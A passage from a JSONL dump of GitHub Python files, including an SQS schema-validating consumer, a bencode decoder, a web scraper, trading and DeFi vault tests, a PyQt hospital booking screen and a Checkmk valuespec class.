SCHEMA[\"properties\"][\"age\"][\"mininimum\"] = int(os.getenv(\"AGE_RESTRICTION\"))\n\ndef check(event):\n jsonschema.validate(event, SCHEMA)\n\nif __name__ == \"__main__\":\n sqs = boto3.resource(\"sqs\")\n queue = sqs.Queue(os.getenv(\"QUEUE_URL\"))\n\n print(\"Starting consumer\")\n\n while True:\n for message in queue.receive_messages(WaitTimeSeconds=10):\n try:\n check(json.loads(message))\n print(\"Valid\")\n except jsonschema.ValidationError:\n print(\"Not valid\")\n\n message.delete()\n\n print(\"Moving on\")\n time.sleep(2)\n","repo_name":"avanderm/aws-cicd-docker","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16257104002","text":"\"\"\"\nThis module handle the decoding and encoding of torrent's bencode.\nThe source of bencode could be passed in through a file or a bytes string.\nIt is nice to stop at decode. Formatting is purely a decoration on top of\nthe bytes dict result from the bencoded file\n\"\"\"\n\nimport binascii\n\nENCODING = \"UTF-8\" #In case we are crazy\n\nclass TorrentFile(object):\n \"\"\"\n I can't think of a better name for this class.\n \"\"\"\n def __init__(self, file=None, text=None):\n \"\"\"\n Create a decoder/encoder.\n Please don't try to use both file and text.\n But if you do, it will favour file.\n :param file: Path to the bencoded torrent file.\n :param text: A bencoded bytes string. This is mostly use for convinence during testing.\n :return:\n \"\"\"\n if file:\n with open(file, 'rb') as f:\n self.text = f.read()\n elif text:\n self.text = text\n self.decoded = None\n self.formatted = None\n def decode(self):\n if not self.decoded:\n self.decoded = decode(self.text)\n return self.decoded\n def format(self):\n if not self.formatted:\n self.formatted = format_bencode(self.decoded)\n return self.formatted\n\ndef decode(text):\n \"\"\"\n The way decode work is similar to the original bencode module.\n decode recursively walk through the text and gradually decode them.\n In its helper functions, the return contain the decoded text along\n with the undecoded remain of the text. The condition attached to\n each return was there to get rid of the empty byte when the final\n result are return.\n :param text: A bencoded bytes string\n :return: A Pythonic (?) interpretation of that bytes string\n \"\"\"\n head = text[0:1]\n if head == b'l':\n return _decode_list(text)\n if head == b'i':\n return _decode_int(text)\n if head == b'd':\n return _decode_dict(text)\n if head in [b'0', b'1', b'2', b'3', b'4', b'5', b'6', b'7', b'8', b'9']:\n return _decode_str(text)\n\ndef _decode_str(text):\n colon = text.index(b\":\") + 1\n length = int(text[:colon-1].decode())\n value, text = text[colon:(colon+length)], text[colon+length:]\n return (value, text) if len(text) > 0 else value\n\ndef _decode_int(text):\n length = text.index(b\"e\")\n value, text = text[1:length], text[length+1:]\n return (value, text) if len(text) > 0 else value\n\ndef _decode_list(text):\n text = text[1:]\n r = []\n while True:\n value, text = decode(text)\n r.append(value)\n if text[0:1] == b\"e\":\n return (r, text[1:]) if len(text) > 1 else r\n break\n\ndef _decode_dict(text):\n text = text[1:]\n r = {}\n while True:\n key, text = _decode_str(text)\n value, text = decode(text)\n r[key] = value\n if text[0:1] == b\"e\":\n return (r, text[1:]) if len(text) > 1 else r\n break\n\ndef format_bencode(text):\n \"\"\"\n I was worry that format is not a good name to name this function.\n Anyway, it is just to convert the bencode to something more sane.\n The only interesting thing to note is that for a valid torrent file\n only the key ['pieces'] is special. Most other you could decode them as string,\n but since ['pieces'] contains SHA-1 hashes of the pieces, it would yell at you\n if you tried to decode it as UTF-8 or something.\n Therefore, for ['pieces'], it is interpret as a list of SHA-1 hash instead. That\n might be helpful later on.\n :param text: The *decoded* bencode.\n :return: A sane interpretation of the original bencode\n \"\"\"\n if isinstance(text, dict):\n return _format_dict(text)\n elif isinstance(text, list):\n return _format_list(text)\n elif isinstance(text, bytes):\n return _format_str(text)\n\ndef _format_str(text):\n try:\n return int(text)\n except ValueError:\n return text.decode(ENCODING)\n\ndef _format_list(text):\n r = []\n for value in text:\n r.append(format_bencode(value))\n return r\n\ndef _format_dict(text):\n r = {}\n for key, value in text.items():\n if key == b'pieces':\n r['pieces'] = _format_pieces(value)\n else:\n key = _format_str(key)\n value = format_bencode(value)\n r[key] = value\n return r\ndef _format_pieces(text):\n r = [x for x in _cut_pieces(text, 20)]\n r = [binascii.hexlify(x).decode(ENCODING) for x in r]\n return r\n\ndef _cut_pieces(text, pieces_size):\n for i in range(0, len(text), pieces_size):\n yield text[i:i+pieces_size]\n","repo_name":"zuik/stuff","sub_path":"becode.py","file_name":"becode.py","file_ext":"py","file_size_in_byte":4607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19259426367","text":"print(\"hello, world\")\n\nvariable1 = 2\nvariable2 = 1\nbuffer = variable2\nvariable2 = variable1\nvariable1=buffer\nprint(variable1, variable2)\nvalue = 11111\nprint(value)\nfloat_number=123.1\ncomplex_number=123+123j\nstring1=\"double quote\"\nstring2='single quote'\nstring3=\"\"\"triple quote\"\"\"\nstring4='''triple quote'''\n\n#operators\na=1\nb=266\nprint('numbers', a, b)\nprint('+', a+b)\nprint('%', a % b)\nprint('numbers', b, a)\na=a+b\nb=a-b\na=a-b\nprint(a,b)\n\n\na=4\nb=5\nprint ('&', a&b)\n\n\n#operators\na = 1234\nb = 3453\nprint(a, b)\nprint('<', a MAX] you utter numpty\n for num in range(MIN,MAX):\n sleep(1) # prevents banning\n\n headers = {'User-Agent': 'Mozilla/5.0 \\\n (Windows NT 6.1; Win64; x64; rv:47.0) \\\n ScrapeBot/3.5)',\n 'Connection': 'keep-alive',\n 'Keep-Alive': 'timeout=5,max-100'}\n\n # make the request\n res = requests.get(f\"{URL}{num}\", headers=headers)\n\n # no point continuing if the page doesn't exist\n if res.status_code != requests.codes.okay:\n print(f\"{URL}{num} is invalid.\")\n continue\n\n # using bs4 for accessing webpages and downloading content\n soup = BeautifulSoup(res.content, \"html.parser\")\n\n try:\n # define variables with try except as they sometimes don't appear in page\n try:\n title = soup.find(\"h1\", class_=\"entry-title p-name\").get_text()\n except AttributeError:\n title = ''\n try:\n date = soup.find(\"time\", class_=\"read__published\").get_text()\n except AttributeError:\n date = ''\n try:\n time = soup.find(\"div\", class_=\"read__time\").get_text()\n except AttributeError:\n time = ''\n\n # create data dict for csv later\n content = ''\n data = {\n 'url': URL,\n 'title': title,\n 'date': date,\n 'time': time\n }\n\n print(data['title'], '-', data['date'], '-', data['time'])\n\n for para in soup.find(\"div\", class_=\"entry-content\").find_all(\"p\"):\n try:\n content += para.get_text()\n except AttributeError:\n content = ''\n\n data['body'] = clean_body(content)\n\n with open(f\"./text_data/{num}_{title}.txt\", 'w+', encoding='utf-8') as txt_file:\n txt_file.writelines(data['title']+'\\n')\n txt_file.writelines(data['date']+' ')\n txt_file.writelines(data['time']+'\\n')\n txt_file.writelines(data['url']+'\\n\\n')\n txt_file.write(content)\n\n except UnicodeEncodeError as err:\n print(err, f\"\\nAn Error Occurred: at {num}\")\n with open(\"error.txt\", 'a', encoding='utf-8') as file:\n file.write(str(num) + '\\n')\n continue\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"CompanyFirmInc/_ruski","sub_path":"get_data_to_txt.py","file_name":"get_data_to_txt.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"31554184429","text":"import pytest\nfrom foreverbull_core.models.finance import OrderStatus\n\nfrom foreverbull_zipline.exceptions import BrokerError\n\n\n@pytest.mark.skip(reason=\"still dont know how to test this, TODO\")\ndef test_can_trade(running_backtest, broker, asset):\n new_day, finish = running_backtest()\n new_day()\n broker._can_trade(asset)\n finish()\n\n\ndef test_can_trade_unknown_asset(running_backtest, broker, asset):\n new_day, finish = running_backtest()\n new_day()\n asset.symbol = \"Ljungskile Pizzeria\"\n with pytest.raises(BrokerError, match=\".*Symbol 'LJUNGSKILE PIZZERIA' was not found\"):\n broker._can_trade(asset)\n finish()\n\n\ndef test_order(running_backtest, broker, order):\n _, finish = running_backtest()\n order = broker._order(order)\n finish()\n assert len(order.id) > 5\n assert order.status == OrderStatus.OPEN\n\n\ndef test_order_unknown_asset(running_backtest, broker, order):\n new_day, finish = running_backtest()\n new_day()\n order.asset.symbol = \"Ljungskile Pizzeria\"\n with pytest.raises(BrokerError, match=\".*Symbol 'LJUNGSKILE PIZZERIA' was not found\"):\n broker._order(order)\n finish()\n\n\ndef test_get_order(running_backtest, broker, order):\n new_day, finish = running_backtest()\n new_day()\n broker._order(order)\n new_day()\n new_day()\n order = broker._get_order(order)\n finish()\n assert order.status == OrderStatus.FILLED\n\n\ndef test_get_order_unknown_order_id(running_backtest, broker, order):\n new_day, finish = running_backtest()\n new_day()\n order.id = \"asdf\"\n with pytest.raises(BrokerError, match=\"order asdf not found\"):\n broker._get_order(order)\n finish()\n\n\ndef test_get_open_orders(running_backtest, broker, order):\n new_day, finish = running_backtest()\n broker._order(order)\n new_day()\n new_day()\n orders = broker._get_open_orders()\n finish()\n assert len(orders) == 1\n\n\ndef test_cancel_order(running_backtest, broker, order):\n order.limit_price = 1\n order.stop_price = 1\n new_day, finish = running_backtest()\n new_day()\n placed_order = broker._order(order)\n assert placed_order.status == OrderStatus.OPEN\n new_day()\n cancelled_order = broker._cancel_order(order)\n finish()\n assert cancelled_order.status == OrderStatus.CANCELLED\n\n\ndef test_cancel_order_unknown_order_id(running_backtest, broker, order):\n new_day, finish = running_backtest()\n new_day()\n order.id = \"asdf\"\n with pytest.raises(BrokerError, match=\"order asdf not found\"):\n broker._cancel_order(order)\n finish()\n","repo_name":"ffRunKey/python","sub_path":"src/zipline/tests/test_broker.py","file_name":"test_broker.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19955504215","text":"import csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport math\nimport copy\n\n#Computations are done in terms of y_ij, which is an asymmetric square matrix; the first index denotes the component on the first (even) sublattice , and the second on the second (odd) sublattice\n#helper functions are written to accept square matrices of any size, so can be used for an n-ary composition of arbitrary n>1.\n\n#helper functions and variables\nMAX_ITER = 2048\nY_PRECISION = 1e-15\nT_PRECISION = 1e-9\nxA_TOL = 1e-9\n\nz=4\n\ncA=[[2,1,1],[1,0,0],[1,0,0]]\ncB=[[0,1,0],[1,2,1],[0,1,0]]\ncC=[[0,0,1],[0,0,1],[1,1,2]]\nc=[cA,cB,cC]\n\ndef xlx(x):\n if x<0: return 1\n if x==0: return 0\n return x*math.log(x)\n\ndef dot(M, N):\n total=0\n for i in range(len(M)):\n for j in range(len(M[i])):\n total+= M[i][j]*N[i][j]\n return total\n\ndef norm(M):\n return math.sqrt(dot(M,M))\n\ndef abstot(M):\n total=0\n for mi in M:\n for mij in mi:\n total+=abs(mij)\n return total \n\ndef diff(M,N):\n difference=[]\n for i in range(len(M)):\n di=[]\n for j in range(len(M[i])):\n di.append(M[i][j]-N[i][j])\n difference.append(di)\n return difference\n\ndef add(M,N):\n total=[]\n for i in range(len(M)):\n si=[]\n for j in range(len(M[i])):\n si.append(M[i][j]+N[i][j])\n\n total.append(si)\n return total\n\ndef transpose(y):\n yT=[]\n for j in range(len(y[0])):\n yTi=[]\n for i in range(len(y)):\n yTi.append(y[i][j])\n yT.append(yTi)\n return yT\n\ndef Yt(y):\n return add(y, transpose(y))\n\ndef Xe(y):\n xe=[]\n for yi in y:\n xei=0\n for yij in yi:\n xei+=yij\n xe.append(xei)\n return xe \n\ndef Xo(y):\n return Xe(transpose(y))\n \ndef Xt(y):\n xt=[]\n xe=Xe(y)\n xo=Xo(y)\n for i in range(len(xe)):\n xt.append(xe[i]+xo[i])\n return xt\n\n#thermodynamic functions\ndef H(E,y):\n return z*dot(E,y)\n\ndef S(y):\n Sxlx, Syly=0,0\n x=Xe(y)+Xo(y)\n\n for xi in x:\n Sxlx+=xlx(2*xi)\n\n for yi in y:\n for yij in yi:\n Syly+=xlx(2*yij)\n\n return (z-1)/2*Sxlx-z/2*Syly\n\ndef F(E,y,T):\n if T==0: return H(E,y)\n return H(E,y)-T*S(y)\n\n#minimization\ndef ytilde(ycur, Eb, T, m):\n yres=copy.deepcopy(ycur)\n for i in range(len(ycur)):\n for j in range(len(ycur[i])):\n yres[i][j]=math.exp(-Eb[i][j]/T)\n yres[i][j]*=((Xe(ycur)[i]*Xo(ycur)[j])**((z-1)/z))\n #apply lagrange multipliers\n for k in range(len(m)):\n yres[i][j]*=math.exp(m[k]*c[k][i][j]/(z*T))\n\n yres=normalize(yres,T) \n return yres\n\ndef normalize(ytil, T):\n yres=copy.deepcopy(ytil)\n total = 0\n for yi in ytil:\n for yij in yi:\n total+=yij\n for i in range(len(ytil)):\n for j in range(len(ytil[i])):\n yres[i][j]=ytil[i][j]/(2*total)\n return yres \n\ndef min(Eb=[[0,-1,-1],\n [-1,0,0],\n [-1,0,0]],\n Trang=[0,5],\n samp=200,\n guess=[[25,212.5,212.5],\n [12.5,12.5,0],\n [12.5,0,12.5]],\n m=[1.,0.6,0.5]):\n delta = (Trang[1]-Trang[0])/samp\n temp = np.linspace(Trang[0]+delta, Trang[1], samp)\n tp = np.linspace(Trang[0]+2*delta, Trang[1]-delta, samp-2)\n \n y=normalize(guess,0)\n\n mY,mF,E,C=[],[],[],[]\n xAe, xBe, xCe =[],[],[]\n xAo, xBo, xCo =[],[],[]\n xAt, xBt, xCt =[],[],[]\n for i in range(len(temp)):\n print('Calculating T='+str(temp[i]))\n counter = MAX_ITER\n T=temp[i]\n yold=[[0, 0, 0],[0, 0, 0],[0, 0, 0]] #initialize for loop\n change=1\n\n while change>Y_PRECISION:\n yold=copy.deepcopy(y)\n y=ytilde(yold, Eb, T, m)\n counter-=1\n if(counter<1):\n print(' Max Iterations Reached')\n break\n change=norm(diff(y,yold))\n\n print(' steps taken:'+str(MAX_ITER-counter))\n print(' last change='+str(change))\n \n x=Xe(y)\n xAe.append(2*x[0])\n xBe.append(2*x[1])\n xCe.append(2*x[2])\n\n x=Xo(y)\n xAo.append(2*x[0])\n xBo.append(2*x[1])\n xCo.append(2*x[2])\n \n x=Xt(y)\n xAt.append(x[0])\n xBt.append(x[1])\n xCt.append(x[2])\n\n mY.append(y)\n mF.append(F(Eb,y,T))\n\n if i>1:\n #calculate E\n dF=mF[i]-mF[i-2]\n dF/=(delta*2)\n E.append(mF[i-1]-temp[i-1]*dF)\n\n #calculate C\n ddF=mF[i]-2*mF[i-1]+mF[i-2]\n ddF/=(delta**2)\n C.append(-temp[i-1]*ddF)\n\n fig = plt.figure(constrained_layout=True)\n fig.suptitle('2D square lattice, bond approx, ternary composition')\n \n gs=fig.add_gridspec(3,2)\n \n ax=fig.add_subplot(gs[0,1])\n ax.set_xlabel('Temperature')\n ax.set_ylabel('Composition')\n ax.set_ylim(-0.05,1.05)\n ax.plot(temp,xAt,label='At', alpha=0.6)\n ax.plot(temp,xBt,label='Bt', alpha=0.6)\n ax.plot(temp,xCt,label='Ct', alpha=0.6)\n ax.legend()\n\n ax=fig.add_subplot(gs[1,1])\n ax.set_xlabel('Temperature')\n ax.set_ylabel('Free Energy')\n ax.plot(temp,mF)\n \n ax=fig.add_subplot(gs[2,0])\n ax.set_xlabel('Temperature')\n ax.set_ylabel('E=F-T*dF/dT')\n ax.set_ylim(-5,5)\n ax.plot(tp, E)\n\n ax=fig.add_subplot(gs[2,1])\n ax.set_xlabel('Temperature')\n ax.set_ylabel('C=-T*d2F/dT2')\n ax.set_ylim(-5,5)\n ax.plot(tp, C)\n \n ax=fig.add_subplot(gs[:2,0])\n ax.set_xlabel('Temperature')\n ax.set_ylabel('Composition')\n ax.set_ylim(-0.05,1.05)\n ax.plot(temp,xAe,label='Ae', alpha=0.6)\n ax.plot(temp,xBe,label='Be', alpha=0.6)\n ax.plot(temp,xCe,label='Ce', alpha=0.6)\n\n ax.plot(temp,xAo,label='Ao', alpha=0.6)\n ax.plot(temp,xBo,label='Bo', alpha=0.6)\n ax.plot(temp,xCo,label='Co', alpha=0.6)\n ax.legend(bbox_to_anchor=(1.05,1), loc='upper left', borderaxespad=0.)\n\n #high temp slope should be ln(2)~0.693\n slope = mF[samp-1]-mF[math.floor(samp*0.75)]\n slope /= (temp[samp-1]-temp[math.floor(samp*0.75)])\n print('High temp slope: '+str(slope))\n #intercept should be ~0\n intercept=mF[samp-1]-slope*temp[samp-1]\n print('Intercept: ' + str(intercept))\n\n plt.tight_layout(pad=0, w_pad=0, h_pad=0, rect=(0,0,0.95,0.9))\n plt.show()\n\n\n\n#phase diagram\ndef tsearch(Eb, m, Trang, guess):\n #recursive binary search\n Tavg = (Trang[1]+Trang[0])/2\n \n #base case\n if (Trang[1]-Trang[0])= amount * .999\n assert plugin.nav() == plugin.underlyingBalanceStored()\n\n assert plugin.harvestTrigger(\"100000000\") == False\n sleep(chain, 60)\n ib.transfer(plugin.address, 1e18, {\"from\": whaleIb})\n assert plugin.harvestTrigger(\"100000000\") == True \n \n\n with brownie.reverts():\n plugin.harvest({\"from\":rando})\n\n before_bal = plugin.underlyingBalanceStored()\n before_stake = plugin.stakedBalance()\n plugin.harvest({\"from\":gov})\n assert ib.balanceOf(plugin.address) == 0\n assert before_bal < plugin.underlyingBalanceStored()\n assert before_stake < plugin.stakedBalance()\n\n\"\"\"\ndef test_harvest_usdc(\n pluggedVaultUsdc,\n pluggedStrategyUsdc,\n pluginUsdc,\n gov,\n rando,\n weth,\n usdc,\n whaleUsdc,\n chain,\n ib,\n whaleIb\n):\n strategy = pluggedStrategyUsdc\n vault = pluggedVaultUsdc\n plugin = pluginUsdc\n\n assert plugin.hasAssets() == False\n assert plugin.nav() == 0\n #Deposit\n #amount = Wei(\"50 ether\")\n amount = 1e12\n deposit(amount, whaleUsdc, usdc, vault)\n\n strategy.harvest({\"from\":gov})\n assert plugin.hasAssets() == True\n assert plugin.nav() >= amount * .999\n assert plugin.nav() == plugin.underlyingBalanceStored()\n\n assert plugin.harvestTrigger('100') == False\n sleep(chain, 1)\n ib.transfer(plugin.address, 100e18, {\"from\": whaleIb})\n assert plugin.harvestTrigger('100') == True\n\n with brownie.reverts():\n plugin.harvest({\"from\":rando})\n\n assert ib.balanceOf(plugin.address) == 0\n aBal = plugin.underlyingBalanceStored()\n plugin.harvest({\"from\":gov})\n #make sure the harvested was collected sold and reinvested \n assert plugin.harvestTrigger('100') == False\n before_bal = plugin.underlyingBalanceStored()\n before_stake = plugin.stakedBalance()\n plugin.harvest({\"from\":gov})\n assert ib.balanceOf(plugin.address) == 0\n assert before_bal < plugin.underlyingBalanceStored()\n assert before_stake < plugin.stakedBalance()\n\n vault.withdraw({\"from\": whaleUsdc})\n\"\"\"\n","repo_name":"Schlagonia/Yearn-V2-Generic-Lender","sub_path":"tests/Opt/test_rewards.py","file_name":"test_rewards.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"3380079378","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.uic import loadUi\nimport sys\nimport sqlite3\nimport rsQueries\n\ndef rs_picked(widget,email):\n widget.label_5.clear()\n picked_rs = widget.rs_pick.currentText()\n if (rsQueries.addPemesananEntry(picked_rs, email)):\n widget.label_5.setText(widget.label_5.text() + \"Pemesanan completed.\")\n else:\n widget.label_5.setText(widget.label_5.text() + \"Anda tidak bisa memesan lagi.\")\n return\n\ndef buatPemesananButton_clicked(widget,email):\n widget.stackedWidget.setCurrentIndex(1)\n all_rs = rsQueries.getAllRS()\n for i in range(len(all_rs)):\n widget.rs_pick.addItem(all_rs[i][1])\n widget.btn_rspick.clicked.connect(lambda: rs_picked(widget,email))\n return \n\ndef lihatPemesananButton_clicked(widget,email):\n widget.label_4.clear()\n widget.stackedWidget.setCurrentIndex(2)\n email_pesanan = rsQueries.getReviewedPesananUser(email)\n if (not email_pesanan):\n widget.label_4.setText(\"Status pemesanan anda ditolak, belum direview atau tidak tercatat\")\n else:\n for i in range(len(email_pesanan)):\n rs_name = rsQueries.getRSName(email_pesanan[i][2])\n if (rsQueries.getOngoingPesananUser(email)):\n widget.label_4.setText(\"Status pemesanan anda di \" + rs_name + \" belum direview\")\n else:\n widget.label_4.setText(\"Status pemesanan anda di \" + rs_name + \" sudah direview\") \n return \n\ndef mainButton_clicked(widget):\n widget.stackedWidget.setCurrentIndex(0)\n return\n\ndef bayarButton_clicked(email):\n if (not rsQueries.getOngoingPesananUser(email)):\n print(\"bayar clicked but not implemented\")\n else:\n print(\"mohon tunggu status review\")\n return\n\ndef screenPesanRumahSakit(email):\n widget = QtWidgets.QWidget()\n try:\n loadUi('../screens/PesanRumahSakitScreen.ui', widget)\n except:\n loadUi('screens/PesanRumahSakitScreen.ui', widget)\n widget.setWindowTitle(\" Pemesanan Rumah Sakit \")\n widget.btn_buat.clicked.connect(lambda: buatPemesananButton_clicked(widget,email))\n widget.btn_lihat.clicked.connect(lambda: lihatPemesananButton_clicked(widget,email))\n widget.btn_back1.clicked.connect(lambda: mainButton_clicked(widget))\n widget.btn_back2.clicked.connect(lambda: mainButton_clicked(widget))\n widget.btn_bayar.clicked.connect(lambda: bayarButton_clicked(email))\n return widget\n\ndef main_test():\n app = QtWidgets.QApplication(sys.argv)\n email = \"nolercustomer@gmail.com\"\n widget = screenPesanRumahSakit(email)\n widget.show()\n sys.exit(app.exec_())\n return\n\nif __name__ == \"__main__\":\n main_test()\n","repo_name":"raihanastrada/rpl-sistem-corona","sub_path":"src/PesanRS.py","file_name":"PesanRS.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26329319424","text":"import os\nfrom inp import inp_load_file\nfrom token_lib import tokens\nfrom cal_path import find_materials\nfrom cal_path import get_materials_path\nfrom util_zip import zip_lsdir\nfrom cal_path import get_sim_path\n#import shutil\n\ncheck_list=[]\n\ndef scan_items_clear():\n\tglobal check_list\n\tcheck_list=[]\n\nclass scan_item:\n\tname=\"\"\n\ttoken=\"\"\n\tfilename=\"\"\n\tline=\"\"\n\ndef scan_item_add(file_name,token,text_info,line):\n\tglobal check_list\n\tcheck_list.append(scan_item())\n\tlistpos=len(check_list)-1\n\ttext_info=text_info.replace(\"\",\"\")\n\ttext_info=text_info.replace(\"\",\"\")\n\tcheck_list[listpos].name=os.path.join(os.path.splitext(file_name)[0],text_info)\n\tcheck_list[listpos].filename=file_name\n\tcheck_list[listpos].token=token\n\tcheck_list[listpos].line=line\n\ndef scan_items_populate_from_known_tokens():\n\tmy_token_lib=tokens().get_lib()\n\tfor i in range(0,len(my_token_lib)):\n\t\tif my_token_lib[i].file_name!=\"\":\n\t\t\tscan_item_add(my_token_lib[i].file_name,my_token_lib[i].token,my_token_lib[i].info,1)\n\n\t#mat=find_materials()\n\n\t#for i in range(0,len(mat)):\n\t#\tscan_remove_file(os.path.join(get_materials_path(),mat[i]))\t\t\t\n\t#\tscan_item_add(os.path.join(\"materials\",mat[i],\"fit.inp\"),\"#wavelength_shift_alpha\",\"Absorption spectrum wavelength shift\",1)\n\t#\tscan_item_add(os.path.join(\"materials\",mat[i],\"fit.inp\"),\"#n_mul\",\"Refractive index spectrum multiplier\",1)\n\t#\tscan_item_add(os.path.join(\"materials\",mat[i],\"fit.inp\"),\"#alpha_mul\",\"Absorption spectrum multiplier\",1)\n\ndef scan_items_populate_from_files():\n\tname=os.path.join(get_sim_path(),\"sim.gpvdm\")\n\tif os.path.isfile(name)==True:\n\t\tfile_list=zip_lsdir(name)\n\t\n\t\tfor i in range(0,len(file_list)):\n\t\t\tif file_list[i].startswith(\"dos\")==True and file_list[i].endswith(\".inp\")==True:\n\t\t\t\tscan_populate_from_file(file_list[i])\n\n\t\t\tif file_list[i].startswith(\"jv\")==True and file_list[i].endswith(\".inp\")==True:\n\t\t\t\tscan_populate_from_file(file_list[i])\n\t\t\t#if my_token_lib[i].file_name!=\"\":\n\t\t\t#\tscan_item_add(my_token_lib[i].file_name,my_token_lib[i].token,my_token_lib[i].info,1)\n\n\t\tmat=find_materials()\n\n\t\tfor i in range(0,len(mat)):\n\t\t\tscan_remove_file(os.path.join(get_materials_path(),mat[i]))\t\t\t\n\t\t\tscan_item_add(os.path.join(\"materials\",mat[i],\"fit.inp\"),\"#wavelength_shift_alpha\",\"Absorption spectrum wavelength shift\",1)\n\t\t\tscan_item_add(os.path.join(\"materials\",mat[i],\"fit.inp\"),\"#n_mul\",\"Refractive index spectrum multiplier\",1)\n\t\t\tscan_item_add(os.path.join(\"materials\",mat[i],\"fit.inp\"),\"#alpha_mul\",\"Absorption spectrum multiplier\",1)\n\n\ndef scan_item_save(file_name):\n\tglobal check_list\n\tf = open(file_name,'w')\n\tf.write(str(len(check_list))+\"\\n\")\n\tfor i in range(0,len(check_list)):\n\t\tf.write(check_list[i].name+\"\\n\")\n\t\tf.write(check_list[i].filename+\"\\n\")\n\t\tf.write(check_list[i].token+\"\\n\")\n\t\tf.write(str(check_list[i].line)+\"\\n\")\n\tf.close()\n\ndef scan_remove_file(file_name):\n\tglobal check_list\n\tnew_list=[]\n\tfor i in range(0,len(check_list)):\n\t\tif \tcheck_list[i].filename!=file_name:\n\t\t\tnew_list.append(check_list[i])\n\n\tcheck_list=new_list\n\n\ndef scan_items_get_file(item):\n\tglobal check_list\n\tfor i in range(0,len(check_list)):\n\t\tif check_list[i].name==item:\n\t\t\treturn check_list[i].filename\n\n\treturn \"notknown\"\n\ndef scan_items_get_token(item):\n\tglobal check_list\n\tfor i in range(0,len(check_list)):\n\t\tif check_list[i].name==item:\n\t\t\treturn check_list[i].token\n\n\treturn \"notknown\"\n\ndef scan_items_lookup_item(filename,token):\n\tglobal check_list\n\tfor i in range(0,len(check_list)):\n\t\tif check_list[i].filename==filename and check_list[i].token==token:\n\t\t\treturn check_list[i].name\n\n\treturn \"notknown\"\n\ndef scan_items_get_list():\n\tglobal check_list\n\treturn check_list\n\ndef scan_items_index_item(item):\n\tglobal check_list\n\tfor i in range(0,len(check_list)):\n\t\tif check_list[i].name==item:\n\t\t\treturn i\n\n\treturn -1\n\ndef scan_populate_from_file(filename):\n\tlines=[]\n\tlines=inp_load_file(filename)\n\n\tmy_token_lib=tokens()\n\n\tfor i in range(0, len(lines)):\n\t\ttoken=lines[i]\n\t\tif len(token)>0:\n\t\t\tif token[0]==\"#\":\n\t\t\t\tresult=my_token_lib.find(token)\n\t\t\t\tif result!=False:\n\t\t\t\t\tif scan_items_index_item(token)==-1:\n\t\t\t\t\t\tscan_item_add(filename,token,result.info,1)\n\n","repo_name":"xingangahu/gpvdm","sub_path":"gui/scan_item.py","file_name":"scan_item.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11625860036","text":"from cmk.gui.config import active_config\nfrom cmk.gui.exceptions import MKUserError\nfrom cmk.gui.hooks import request_memoize\nfrom cmk.gui.i18n import _, _u\nfrom cmk.gui.valuespec import (\n ABCPageListOfMultipleGetChoice,\n CascadingDropdown,\n DropdownChoice,\n FixedValue,\n Labels,\n ListOf,\n ListOfMultiple,\n SingleLabel,\n Transform,\n Tuple,\n)\n\n\nclass DictHostTagCondition(Transform):\n def __init__(self, title, help_txt) -> None: # type: ignore[no-untyped-def]\n super().__init__(\n valuespec=ListOfMultiple(\n title=title,\n help=help_txt,\n choices=self._get_cached_tag_group_choices(),\n choice_page_name=\"ajax_dict_host_tag_condition_get_choice\",\n add_label=_(\"Add tag condition\"),\n del_label=_(\"Remove tag condition\"),\n ),\n to_valuespec=self._to_valuespec,\n from_valuespec=self._from_valuespec,\n )\n\n @request_memoize()\n def _get_cached_tag_group_choices(self):\n # In case one has configured a lot of tag groups / id recomputing this for\n # every DictHostTagCondition instance takes a lot of time\n return self._get_tag_group_choices()\n\n def _get_tag_group_choices(self):\n choices = []\n all_topics = active_config.tags.get_topic_choices()\n tag_groups_by_topic = dict(active_config.tags.get_tag_groups_by_topic())\n aux_tags_by_topic = dict(active_config.tags.get_aux_tags_by_topic())\n for topic_id, _topic_title in all_topics:\n for tag_group in tag_groups_by_topic.get(topic_id, []):\n choices.append(self._get_tag_group_choice(tag_group))\n\n for aux_tag in aux_tags_by_topic.get(topic_id, []):\n choices.append(self._get_aux_tag_choice(aux_tag))\n\n return choices\n\n def _to_valuespec(self, host_tag_conditions):\n valuespec_value = {}\n for tag_group_id, tag_condition in host_tag_conditions.items():\n if isinstance(tag_condition, dict) and \"$or\" in tag_condition:\n value = self._ored_tags_to_valuespec(tag_condition[\"$or\"])\n elif isinstance(tag_condition, dict) and \"$nor\" in tag_condition:\n value = self._nored_tags_to_valuespec(tag_condition[\"$nor\"])\n else:\n value = self._single_tag_to_valuespec(tag_condition)\n\n valuespec_value[tag_group_id] = value\n\n return valuespec_value\n\n def _ored_tags_to_valuespec(self, tag_conditions):\n return (\"or\", tag_conditions)\n\n def _nored_tags_to_valuespec(self, tag_conditions):\n return (\"nor\", tag_conditions)\n\n def _single_tag_to_valuespec(self, tag_condition):\n if isinstance(tag_condition, dict):\n if \"$ne\" in tag_condition:\n return (\"is_not\", tag_condition[\"$ne\"])\n raise NotImplementedError()\n return (\"is\", tag_condition)\n\n def _from_valuespec(self, valuespec_value):\n tag_conditions = {}\n for tag_group_id, (operator, operand) in valuespec_value.items():\n if operator in [\"is\", \"is_not\"]:\n tag_group_value = self._single_tag_from_valuespec(operator, operand)\n elif operator in [\"or\", \"nor\"]:\n tag_group_value = {\n \"$%s\" % operator: operand,\n }\n else:\n raise NotImplementedError()\n\n tag_conditions[tag_group_id] = tag_group_value\n return tag_conditions\n\n def 